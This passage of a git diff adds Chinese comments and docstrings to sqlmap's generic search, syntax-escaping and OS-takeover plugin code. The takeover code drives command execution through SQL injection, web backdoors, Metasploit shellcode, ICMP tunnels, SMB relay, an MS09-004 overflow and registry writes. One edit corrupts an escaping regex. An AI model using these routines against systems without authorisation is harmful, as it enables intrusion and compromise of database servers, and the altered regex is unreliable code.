whereTblsQuery) + # 将列的查询条件和表的过滤条件添加到查询语句中 elif query.endswith("'%s')"): + # 如果查询语句以 '%s')' 结尾 query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + # 在结尾添加列的查询条件和表的过滤条件 elif " ORDER BY " in query: + # 如果查询语句包含 " ORDER BY " query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) + # 将列的查询条件和表的过滤条件添加到 " ORDER BY " 前面 else: + # 如果查询语句不满足以上所有条件 query += " AND %s" % (colQuery + whereTblsQuery) + # 将列的查询条件和表的过滤条件添加到查询语句中 query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) + # 对查询语句进行格式化,将不安全的数据库名称添加到查询语句中 query = agent.limitQuery(index, query) + # 将当前索引作为 LIMIT 条件添加到查询语句中,用于分页获取表名 tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 执行盲注查询,获取表名称,并将其从数组中提取出来 kb.hintValue = tbl - + # 将提取到的表名称设置为提示值 tbl = safeSQLIdentificatorNaming(tbl, True) + # 对提取到的表名称进行安全命名 conf.db = db + # 设置当前数据库名称 conf.tbl = tbl + # 设置当前表名称 conf.col = column + # 设置当前列名称 self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) + # 调用 getColumns 方法获取当前表中的列信息,但不进行爆破 if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: + # 如果在 kb.data.cachedColumns 中已经缓存了数据库和表的列信息 if db not in dbs: + # 如果数据库不在 dbs 字典中 dbs[db] = {} + # 在 dbs 字典中创建一个新的键值对,其中键为数据库名称,值为一个空字典 if tbl not in dbs[db]: + # 如果表不在 dbs[db] 字典中 dbs[db][tbl] = {} + # 在 dbs[db] 字典中创建一个新的键值对,其中键为表名称,值为一个空字典 dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) + # 将缓存的列信息更新到 dbs[db][tbl] 中 kb.data.cachedColumns = {} + # 清空缓存的列信息 if db in foundCols[column]: + # 如果数据库名称已经在 foundCols[column] 字典中 foundCols[column][db].append(tbl) + # 将表名称添加到 foundCols[column][db] 的列表中 else: + # 如果数据库名称不在 foundCols[column] 字典中 foundCols[column][db] = [tbl] - - if dbs: - conf.dumper.dbColumns(foundCols, colConsider, dbs) - self.dumpFoundColumn(dbs, foundCols, colConsider) - else: - warnMsg = "no databases have tables containing any of the " - warnMsg += "provided columns" - logger.warning(warnMsg) - - def search(self): - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - for item in ('db', 'tbl', 'col'): - if getattr(conf, item, None): - setattr(conf, item, getattr(conf, item).upper()) - - if conf.col: - self.searchColumn() - elif conf.tbl: - self.searchTable() - elif conf.db: - self.searchDb() - else: - errMsg = "missing parameter, provide -D, -T or -C along " - errMsg += "with --search" - raise SqlmapMissingMandatoryOptionException(errMsg) + # 在 foundCols[column] 字典中创建一个新的键值对,其中键为数据库名称,值为一个包含表名称的列表 + if dbs: + # 如果找到任何数据库和表 + conf.dumper.dbColumns(foundCols, colConsider, dbs) + # 使用 dumper 对象打印找到的列信息 + self.dumpFoundColumn(dbs, foundCols, colConsider) + # 调用 dumpFoundColumn 方法,对找到的列进行处理 + else: + # 如果没有找到任何数据库和表 + warnMsg = "no databases have tables containing any of the " + # 准备警告消息,表示没有找到包含指定列的表 + warnMsg += "provided columns" + # 将 "provided columns" 添加到警告消息中 + logger.warning(warnMsg) + # 打印警告消息 \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/syntax.py b/src/sqlmap-master/plugins/generic/syntax.py index e5f8325..384f209 100644 --- a/src/sqlmap-master/plugins/generic/syntax.py +++ b/src/sqlmap-master/plugins/generic/syntax.py @@ -5,46 +5,71 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import re +import re # 导入re模块,用于正则表达式操作 -from lib.core.common import Backend -from lib.core.convert import getBytes -from lib.core.data import conf -from lib.core.enums import DBMS -from lib.core.exception import SqlmapUndefinedMethod +from lib.core.common import Backend # 导入Backend类,用于获取后端数据库信息 +from lib.core.convert import getBytes # 导入getBytes函数,用于将字符串转换为字节 +from lib.core.data import conf # 导入conf对象,存储全局配置信息 +from lib.core.enums import DBMS # 导入DBMS枚举类,定义数据库类型 +from lib.core.exception import SqlmapUndefinedMethod # 导入SqlmapUndefinedMethod异常类,表示未定义的方法 class Syntax(object): """ This class defines generic syntax functionalities for plugins. + 这个类定义了插件的通用语法功能。 """ def __init__(self): - pass + pass # 初始化方法,此处为空 @staticmethod def _escape(expression, quote=True, escaper=None): - retVal = expression + """ + Internal method to escape a given expression. + 内部方法,用于转义给定的表达式。 - if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: - if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: - continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + Args: + expression (str): The expression to escape. 要转义的表达式。 + quote (bool, optional): Whether to handle quoting. 是否处理引号。默认为True + escaper (function, optional): The function to use for escaping. 用于转义的函数。默认为None + + Returns: + str: 转义后的表达式 + """ + retVal = expression # 初始化返回值 - if replacement != original: - retVal = retVal.replace(item, replacement) + if quote: # 如果需要处理引号 + for item in re.findall(r"'[^']*'+", expression): # 查找所有单引号包裹的内容 + original = item[1:-1] # 获取引号内的原始内容 + if original: # 如果原始内容不为空 + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue # 如果是SQLite数据库,且表达式中包含X'...'的格式,则跳过 + if re.search(r"$$(SLEEPTIME|RAND)", original) is None: # 检查原始内容是否包含[SLEEPTIME]或[RAND]标记,例如'[SLEEPTIME]' + replacement = escaper(original) if not conf.noEscape else original # 如果配置中没有设置noEscape,则使用转义函数进行转义,否则不转义 + + if replacement != original: # 如果转义后的内容与原始内容不同 + retVal = retVal.replace(item, replacement) # 则替换表达式中的原始内容为转义后的内容 elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) - else: - retVal = escaper(expression) + # 如果原始内容的字节长度与字符串长度不同,且不是n'...'格式,且数据库为MySQL,PostgreSQL,Oracle,MSSQL中的一种 + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) # 则将表达式中的原始内容替换为n'...'格式,以支持Unicode字符 + else: # 如果不需要处理引号 + retVal = escaper(expression) # 使用转义函数进行转义 - return retVal + return retVal # 返回转义后的表达式 @staticmethod def escape(expression, quote=True): + """ + Generic method to escape a given expression. + 通用方法,用于转义给定的表达式。 + + Args: + expression (str): The expression to escape. 要转义的表达式。 + quote (bool, optional): Whether to handle quoting. 是否处理引号。默认为True + + Raises: + SqlmapUndefinedMethod: 如果没有在具体数据库插件中定义escape方法,则抛出此异常 + """ errMsg = "'escape' method must be defined " errMsg += "inside the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + raise SqlmapUndefinedMethod(errMsg) # 抛出异常,表示未在具体DBMS插件中定义此方法 \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/takeover.py b/src/sqlmap-master/plugins/generic/takeover.py index d307594..0d70002 100644 --- a/src/sqlmap-master/plugins/generic/takeover.py +++ b/src/sqlmap-master/plugins/generic/takeover.py @@ -5,234 +5,262 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import os - -from lib.core.common import Backend -from lib.core.common import getSafeExString -from lib.core.common import isDigit -from lib.core.common import isStackingAvailable -from lib.core.common import openFile -from lib.core.common import readInput -from lib.core.common import runningAsAdmin -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import DBMS -from lib.core.enums import OS -from lib.core.exception import SqlmapFilePathException -from lib.core.exception import SqlmapMissingDependence -from lib.core.exception import SqlmapMissingMandatoryOptionException -from lib.core.exception import SqlmapMissingPrivileges -from lib.core.exception import SqlmapNotVulnerableException -from lib.core.exception import SqlmapSystemException -from lib.core.exception import SqlmapUndefinedMethod -from lib.core.exception import SqlmapUnsupportedDBMSException -from lib.takeover.abstraction import Abstraction -from lib.takeover.icmpsh import ICMPsh -from lib.takeover.metasploit import Metasploit -from lib.takeover.registry import Registry +import os # 导入os模块,提供与操作系统交互的功能 + +from lib.core.common import Backend # 导入Backend类,用于获取后端数据库信息 +from lib.core.common import getSafeExString # 导入getSafeExString函数,用于获取安全的异常字符串 +from lib.core.common import isDigit # 导入isDigit函数,用于判断字符串是否为数字 +from lib.core.common import isStackingAvailable # 导入isStackingAvailable函数,用于判断是否支持堆叠查询 +from lib.core.common import openFile # 导入openFile函数,用于安全地打开文件 +from lib.core.common import readInput # 导入readInput函数,用于安全地读取用户输入 +from lib.core.common import runningAsAdmin # 导入runningAsAdmin函数,用于判断是否以管理员身份运行 +from lib.core.data import conf # 导入conf对象,存储全局配置信息 +from lib.core.data import kb # 导入kb对象,存储全局知识库信息 +from lib.core.data import logger # 导入logger对象,用于记录日志 +from lib.core.enums import DBMS # 导入DBMS枚举类,定义数据库类型 +from lib.core.enums import OS # 导入OS枚举类,定义操作系统类型 +from lib.core.exception import SqlmapFilePathException # 导入SqlmapFilePathException异常类,表示文件路径错误 +from lib.core.exception import SqlmapMissingDependence # 导入SqlmapMissingDependence异常类,表示缺少依赖 +from lib.core.exception import SqlmapMissingMandatoryOptionException # 导入SqlmapMissingMandatoryOptionException异常类,表示缺少必要选项 +from lib.core.exception import SqlmapMissingPrivileges # 导入SqlmapMissingPrivileges异常类,表示缺少权限 +from lib.core.exception import SqlmapNotVulnerableException # 导入SqlmapNotVulnerableException异常类,表示目标不漏洞 +from lib.core.exception import SqlmapSystemException # 导入SqlmapSystemException异常类,表示系统错误 +from lib.core.exception import SqlmapUndefinedMethod # 导入SqlmapUndefinedMethod异常类,表示未定义的方法 +from lib.core.exception import SqlmapUnsupportedDBMSException # 导入SqlmapUnsupportedDBMSException异常类,表示不支持的数据库类型 +from lib.takeover.abstraction import Abstraction # 导入Abstraction类,用于定义抽象的接管功能 +from lib.takeover.icmpsh import ICMPsh # 导入ICMPsh类,用于定义ICMP隧道功能 +from lib.takeover.metasploit import Metasploit # 导入Metasploit类,用于定义Metasploit接管功能 +from lib.takeover.registry import Registry # 导入Registry类,用于定义注册表操作功能 class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. + 这个类定义了插件的通用操作系统接管功能。 """ def __init__(self): - self.cmdTblName = ("%soutput" % conf.tablePrefix) - self.tblField = "data" + # 初始化命令输出表名称和字段名称 + self.cmdTblName = ("%soutput" % conf.tablePrefix) # 命令输出表名,使用配置中的表前缀 + self.tblField = "data" # 表字段名,存储命令输出数据 - Abstraction.__init__(self) + Abstraction.__init__(self) # 初始化Abstraction基类 def osCmd(self): + """ + Executes a single operating system command. + 执行单个操作系统命令。 + """ + # 判断是否可以通过堆叠查询或直接连接执行系统命令 if isStackingAvailable() or conf.direct: - web = False + web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) - web = True + web = True # 如果不支持堆叠查询且是MySQL数据库,则使用Web后门 else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" - raise SqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) # 否则抛出异常,表示无法通过后端数据库执行系统命令 - self.getRemoteTempPath() - self.initEnv(web=web) + self.getRemoteTempPath() # 获取远程临时路径 + self.initEnv(web=web) # 初始化环境 + # 如果不使用Web后门,或者使用Web后门但URL存在,则执行命令 if not web or (web and self.webBackdoorUrl is not None): - self.runCmd(conf.osCmd) + self.runCmd(conf.osCmd) # 执行配置中的系统命令 + # 如果不开启操作系统shell或pwn,并且没有清理需求,则进行清理 if not conf.osShell and not conf.osPwn and not conf.cleanup: - self.cleanup(web=web) + self.cleanup(web=web) # 清理环境 def osShell(self): + """ + Prompts for an interactive operating system shell. + 提示进行交互式操作系统shell。 + """ + # 判断是否可以通过堆叠查询或直接连接执行shell if isStackingAvailable() or conf.direct: - web = False + web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) - web = True + web = True # 如果不支持堆叠查询且是MySQL数据库,则使用Web后门 else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" - raise SqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) # 否则抛出异常,表示无法通过后端数据库获取交互式shell - self.getRemoteTempPath() + self.getRemoteTempPath() # 获取远程临时路径 try: - self.initEnv(web=web) - except SqlmapFilePathException: + self.initEnv(web=web) # 初始化环境 + except SqlmapFilePathException: # 如果初始化环境出现文件路径异常 if not web and not conf.direct: infoMsg = "falling back to web backdoor method..." logger.info(infoMsg) - web = True - kb.udfFail = True + web = True # 回退到使用Web后门 + kb.udfFail = True # 设置UDF失败标记 - self.initEnv(web=web) + self.initEnv(web=web) # 重新初始化环境,使用Web后门 else: - raise + raise # 如果不能回退到Web后门,则抛出异常 + # 如果不使用Web后门,或者使用Web后门但URL存在,则进入shell if not web or (web and self.webBackdoorUrl is not None): - self.shell() + self.shell() # 进入shell + # 如果不开启操作系统pwn,并且没有清理需求,则进行清理 if not conf.osPwn and not conf.cleanup: - self.cleanup(web=web) + self.cleanup(web=web) # 清理环境 def osPwn(self): - goUdf = False - fallbackToWeb = False - setupSuccess = False + """ + Attempts to gain an out-of-band session via Metasploit or ICMP. + 尝试通过Metasploit或ICMP获取带外会话。 + """ + goUdf = False # 是否使用UDF执行 + fallbackToWeb = False # 是否回退到Web后门 + setupSuccess = False # 是否设置成功 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库服务器操作系统 - if Backend.isOs(OS.WINDOWS): + if Backend.isOs(OS.WINDOWS): # 如果操作系统是Windows msg = "how do you want to establish the tunnel?" - msg += "\n[1] TCP: Metasploit Framework (default)" - msg += "\n[2] ICMP: icmpsh - ICMP tunneling" + msg += "\ +[1] TCP: Metasploit Framework (default)" + msg += "\ +[2] ICMP: icmpsh - ICMP tunneling" while True: - tunnel = readInput(msg, default='1') + tunnel = readInput(msg, default='1') # 读取用户选择的隧道类型 if isDigit(tunnel) and int(tunnel) in (1, 2): - tunnel = int(tunnel) + tunnel = int(tunnel) # 将用户输入转换为整数 break else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warning(warnMsg) + logger.warning(warnMsg) # 如果输入无效,则给出警告 else: - tunnel = 1 + tunnel = 1 # 如果不是Windows系统,则默认使用TCP隧道 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) - if tunnel == 2: - isAdmin = runningAsAdmin() + if tunnel == 2: # 如果选择ICMP隧道 + isAdmin = runningAsAdmin() # 判断是否以管理员身份运行 if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" - raise SqlmapMissingPrivileges(errMsg) + raise SqlmapMissingPrivileges(errMsg) # 如果不是以管理员身份运行,则抛出异常,表示缺少权限 try: - __import__("impacket") + __import__("impacket") # 尝试导入impacket库 except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "https://github.com/SecureAuthCorp/impacket" - raise SqlmapMissingDependence(errMsg) + raise SqlmapMissingDependence(errMsg) # 如果缺少impacket库,则抛出异常,表示缺少依赖 - filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" + filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" # ICMP回显忽略文件路径 if os.path.exists(filename): try: with openFile(filename, "wb") as f: - f.write("1") + f.write("1") # 禁用ICMP回显 except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) - raise SqlmapSystemException(errMsg) + raise SqlmapSystemException(errMsg) # 如果文件打开/写入错误,则抛出异常 else: errMsg = "you need to disable ICMP replies by your machine " - errMsg += "system-wide. For example run on Linux/Unix:\n" - errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" + errMsg += "system-wide. For example run on Linux/Unix:\ +" + errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\ +" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" - logger.error(errMsg) + logger.error(errMsg) # 如果文件不存在,给出错误提示 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - self.sysUdfs.pop("sys_bineval") + self.sysUdfs.pop("sys_bineval") # 如果是MySQL或PostgreSQL,移除sys_bineval UDF - self.getRemoteTempPath() + self.getRemoteTempPath() # 获取远程临时路径 + # 判断是否可以通过堆叠查询或直接连接执行 if isStackingAvailable() or conf.direct: - web = False + web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 - self.initEnv(web=web) + self.initEnv(web=web) # 初始化环境 - if tunnel == 1: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if tunnel == 1: # 如果选择TCP隧道 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): # 如果是MySQL或PostgreSQL msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" - msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" + msg += "\ +[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" + msg += "\ +[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: - choice = readInput(msg, default='1') + choice = readInput(msg, default='1') # 读取用户选择的执行方式 if isDigit(choice) and int(choice) in (1, 2): - choice = int(choice) + choice = int(choice) # 将用户输入转换为整数 break else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warning(warnMsg) + logger.warning(warnMsg) # 如果输入无效,则给出警告 if choice == 1: - goUdf = True + goUdf = True # 如果选择使用UDF,则设置标记 if goUdf: - exitfunc = "thread" - setupSuccess = True + exitfunc = "thread" # 如果使用UDF,则设置退出函数为线程 + setupSuccess = True # 设置成功 else: - exitfunc = "process" + exitfunc = "process" # 如果不使用UDF,则设置退出函数为进程 - self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") + self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") # 创建Metasploit shellcode if not goUdf: - setupSuccess = self.uploadShellcodeexec(web=web) + setupSuccess = self.uploadShellcodeexec(web=web) # 上传shellcodeexec程序 if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): - fallbackToWeb = True + fallbackToWeb = True # 如果上传失败且是MySQL数据库,则回退到Web后门 else: msg = "unable to mount the operating system takeover" - raise SqlmapFilePathException(msg) + raise SqlmapFilePathException(msg) # 否则抛出异常,表示无法执行操作系统接管 if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" - logger.debug(debugMsg) + logger.debug(debugMsg) # 如果是Windows上的MySQL,且开启了提权,给出调试信息 - elif tunnel == 2: - setupSuccess = self.uploadIcmpshSlave(web=web) + elif tunnel == 2: # 如果选择ICMP隧道 + setupSuccess = self.uploadIcmpshSlave(web=web) # 上传icmpsh slave程序 if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): - fallbackToWeb = True + fallbackToWeb = True # 如果上传失败且是MySQL数据库,则回退到Web后门 else: msg = "unable to mount the operating system takeover" - raise SqlmapFilePathException(msg) + raise SqlmapFilePathException(msg) # 否则抛出异常,表示无法执行操作系统接管 + # 如果设置不成功,且是MySQL数据库,且不是直接连接,且不支持堆叠查询或回退到Web后门,则使用Web后门 if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): - web = True + web = True # 设置使用Web后门 if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" @@ -240,242 +268,270 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry): infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) - self.initEnv(web=web, forceInit=fallbackToWeb) + self.initEnv(web=web, forceInit=fallbackToWeb) # 初始化环境,强制初始化 if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows - conf.privEsc = False + conf.privEsc = False # 如果不是Windows系统,且开启了提权,则关闭提权 warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" - logger.warning(warnMsg) + logger.warning(warnMsg) # 给出警告 if tunnel == 1: - self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") - setupSuccess = self.uploadShellcodeexec(web=web) + self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") # 创建Metasploit shellcode + setupSuccess = self.uploadShellcodeexec(web=web) # 上传shellcodeexec程序 if setupSuccess is not True: msg = "unable to mount the operating system takeover" - raise SqlmapFilePathException(msg) + raise SqlmapFilePathException(msg) # 如果上传失败,则抛出异常 elif tunnel == 2: - setupSuccess = self.uploadIcmpshSlave(web=web) + setupSuccess = self.uploadIcmpshSlave(web=web) # 上传icmpsh slave程序 if setupSuccess is not True: msg = "unable to mount the operating system takeover" - raise SqlmapFilePathException(msg) + raise SqlmapFilePathException(msg) # 如果上传失败,则抛出异常 if setupSuccess: if tunnel == 1: - self.pwn(goUdf) + self.pwn(goUdf) # 如果是TCP隧道,则执行pwn elif tunnel == 2: - self.icmpPwn() + self.icmpPwn() # 如果是ICMP隧道,则执行icmpPwn else: errMsg = "unable to prompt for an out-of-band session" - raise SqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) # 如果设置失败,则抛出异常 if not conf.cleanup: - self.cleanup(web=web) + self.cleanup(web=web) # 如果没有清理需求,则进行清理 def osSmb(self): - self.checkDbmsOs() + """ + Performs a SMB relay attack. + 执行SMB中继攻击。 + """ + self.checkDbmsOs() # 检查数据库服务器操作系统 if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" - raise SqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是Windows系统,则抛出异常,表示不支持SMB中继攻击 if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" - raise SqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) # 如果是PostgreSQL或MSSQL,且不支持堆叠查询,则抛出异常 elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" - logger.debug(debugMsg) + logger.debug(debugMsg) # 如果是MySQL,且不支持堆叠查询,则使用盲注进行SMB中继攻击 - printWarn = True + printWarn = True # 是否打印警告 warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " - warnMsg += "a SMB service" + warnMsg += "a SMB service" # 如果是MySQL,给出警告 elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " - warnMsg += "system, but not within the Administrators group" + warnMsg += "system, but not within the Administrators group" # 如果是PostgreSQL,给出警告 elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " - warnMsg += "connecting to a SMB service" + warnMsg += "connecting to a SMB service" # 如果是MSSQL,给出警告 else: - printWarn = False + printWarn = False # 如果不是上述情况,则不打印警告 if printWarn: - logger.warning(warnMsg) + logger.warning(warnMsg) # 打印警告信息 - self.smb() + self.smb() # 执行SMB中继攻击 def osBof(self): + """ + Exploits a buffer overflow vulnerability in the 'sp_replwritetovarbin' stored procedure (MS09-004) + 利用 'sp_replwritetovarbin' 存储过程中的缓冲区溢出漏洞 (MS09-004) + """ if not isStackingAvailable() and not conf.direct: - return + return # 如果不支持堆叠查询或不是直接连接,则返回 if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" - raise SqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是MSSQL 2000或2005,则抛出异常,表示不支持此漏洞 infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" - logger.info(infoMsg) + logger.info(infoMsg) # 打印漏洞利用信息 msg = "this technique is likely to DoS the DBMS process, are you " - msg += "sure that you want to carry with the exploit? [y/N] " + msg += "sure that you want to carry with the exploit? [y/N] " # 提示是否继续 if readInput(msg, default='N', boolean=True): - self.initEnv(mandatory=False, detailed=True) - self.getRemoteTempPath() - self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) - self.bof() + self.initEnv(mandatory=False, detailed=True) # 初始化环境,不强制,但详细 + self.getRemoteTempPath() # 获取远程临时路径 + self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) # 创建Metasploit shellcode,使用SEH退出函数 + self.bof() # 执行缓冲区溢出攻击 def uncPathRequest(self): + """ + Initiates a UNC path request. + 发起UNC路径请求。 + """ errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + raise SqlmapUndefinedMethod(errMsg) # 抛出异常,表示未在具体DBMS插件中定义此方法 def _regInit(self): + """ + Initializes registry operation. + 初始化注册表操作 + """ if not isStackingAvailable() and not conf.direct: - return + return # 如果不支持堆叠查询或不是直接连接,则返回 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库服务器操作系统 if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" - raise SqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是Windows系统,则抛出异常 - self.initEnv() - self.getRemoteTempPath() + self.initEnv() # 初始化环境 + self.getRemoteTempPath() # 获取远程临时路径 def regRead(self): - self._regInit() + """ + Reads a value from the Windows registry. + 读取Windows注册表中的值 + """ + self._regInit() # 初始化注册表操作 if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default - regKey = readInput(msg, default=default) + regKey = readInput(msg, default=default) # 读取用户输入的注册表键,默认使用指定路径 else: - regKey = conf.regKey + regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default - regVal = readInput(msg, default=default) + regVal = readInput(msg, default=default) # 读取用户输入的注册表值,默认使用ProductName else: - regVal = conf.regVal + regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) - logger.info(infoMsg) + logger.info(infoMsg) # 打印读取注册表路径信息 - return self.readRegKey(regKey, regVal, True) + return self.readRegKey(regKey, regVal, True) # 读取注册表键值,并返回结果 def regAdd(self): - self._regInit() + """ + Adds a value to the Windows registry. + 向Windows注册表添加值 + """ + self._regInit() # 初始化注册表操作 - errMsg = "missing mandatory option" + errMsg = "missing mandatory option" # 缺少必要参数的错误信息 if not conf.regKey: msg = "which registry key do you want to write? " - regKey = readInput(msg) + regKey = readInput(msg) # 读取用户输入的注册表键 if not regKey: - raise SqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: - regKey = conf.regKey + regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: msg = "which registry key value do you want to write? " - regVal = readInput(msg) + regVal = readInput(msg) # 读取用户输入的注册表值 if not regVal: - raise SqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: - regVal = conf.regVal + regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 if not conf.regData: msg = "which registry key value data do you want to write? " - regData = readInput(msg) + regData = readInput(msg) # 读取用户输入的注册表数据 if not regData: - raise SqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: - regData = conf.regData 